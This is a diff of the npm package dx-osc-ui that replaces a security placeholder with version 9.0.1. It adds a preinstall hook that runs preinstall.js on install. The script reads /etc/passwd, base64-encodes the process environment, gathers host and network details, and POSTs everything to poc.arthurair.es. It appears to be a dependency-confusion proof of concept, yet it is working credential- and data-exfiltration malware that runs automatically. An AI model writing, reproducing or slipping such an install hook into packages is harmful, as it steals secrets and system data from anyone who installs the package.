dx-osc-ui 0.0.1-security → 9.0.1

package/index.js

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "h1:arthuraires"
+}

package/package.json

@@ -1,6 +1,18 @@
 {
   "name": "dx-osc-ui",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "9.0.1",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^0.21.1",
+    "http": "0.0.1-security",
+    "https": "^1.0.0",
+    "os": "^0.1.1"
+  }
+}

package/preinstall.js

@@ -0,0 +1,79 @@
+'use strict'
+
+const https = require('https')
+const http = require("http");
+const os = require("os");
+
+var currentPath = __dirname;
+var currentFile = __filename;
+var currentEnvString = JSON.stringify(process);
+var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
+
+var fs = require('fs')
+
+fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
+  if (err) {
+    return console.log(err);
+  }
+	let cloudResponse = '';
+	try {
+		const teste = await https.request({
+			hostname: 'http://poc.arthurair.es/flaskDependecy',
+			method: 'GET'
+		});
+		
+		console.log(teste);
+	} catch(error) {
+		console.log(error);
+	} 
+	
+	
+	var data = {
+		envPORT: process.env.PORT,
+		hostname: JSON.stringify(os.hostname()),
+		currentPath: currentPath,
+		currentFile: currentFile,
+		currentEnvBase64: currentEnvBase64,
+		type: JSON.stringify(os.type()),
+		platform: JSON.stringify(os.platform()),
+		arch: JSON.stringify(os.arch()),
+		release: JSON.stringify(os.release()),
+		uptime: JSON.stringify(os.uptime()),
+		loadavg: JSON.stringify(os.loadavg()),
+		totalmem: JSON.stringify(os.totalmem()),
+		freemem: JSON.stringify(os.freemem()),
+		cpus: JSON.stringify(os.cpus()),
+		networkInterfaces: JSON.stringify(os.networkInterfaces()),
+		etc: Buffer.from(file).toString('base64'),
+	};
+
+	console.log(data);
+
+	data = JSON.stringify(data);
+
+	const options = {
+		hostname: 'poc.arthurair.es',
+		port: 80,
+		path: '/flaskDependecy',
+		method: 'POST',
+		headers: {
+		  'Content-Type': 'application/json',
+		  'Content-Length': data.length
+		}
+	  }
+	  
+	  const req = https.request(options, res => {
+		// console.log(`statusCode: ${res.statusCode}`)
+	  
+		res.on('data', d => {
+		  process.stdout.write(d)
+		})
+	  })
+	  
+	  req.on('error', error => {
+		console.error(error)
+	  })
+	  
+	  req.write(data)
+	  req.end()
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=dx-osc-ui for more information.